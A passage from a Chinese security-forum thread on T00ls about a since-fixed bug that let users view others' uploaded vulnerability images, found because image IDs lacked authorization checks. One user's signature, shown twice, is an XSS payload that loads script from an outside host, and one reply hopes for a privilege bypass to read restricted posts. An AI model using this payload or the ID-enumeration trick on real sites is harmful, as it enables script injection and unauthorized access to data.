导航

[【Bugs反馈】] t00ls别人提交漏洞还是可以查看(已修复)

2022-04-26
#11
什么0day?
2022-04-26
#12
看到标题白高兴了一场  哈哈
2022-04-26
#13
图片泄露,确实存在,已经修复!
T00.ls:https://t00.ls/t00ls
T00ls官方Telegram公开频道:https://t.me/T00lsCom
T00ls官方Telegram群:https://t.me/T00lsTB
T00ls官方Twitter:https://twitter.com/T00lsCom
2022-04-26
#14
我之前这篇文章也有提到过https://www.t00ls.com/thread-59885-1-1.html,后来验证修复了,难道不是同一个地方?
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
2022-04-26
#15
@SuNu11 师傅,我看不了你的帖,我想看看,说不定还能发现点什么东西
2022-04-27
#16
就是上传图片都会有个id,没有作鉴权,你找个接口调一下就能看到,
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
2022-04-27
#17
回复 15# 冰雪梅花
看看我下面评论的哈~忘了点回复按钮了
2022-04-27
#18
回复 16# SuNu11
师傅,用这种方法就可以看到你的文章了嘛
2022-04-27
#19
错过错过。可惜了
2022-04-27
#20
唉 又错过一个0day 能不能挖一点 越权查看需要20权限阅读的文章啊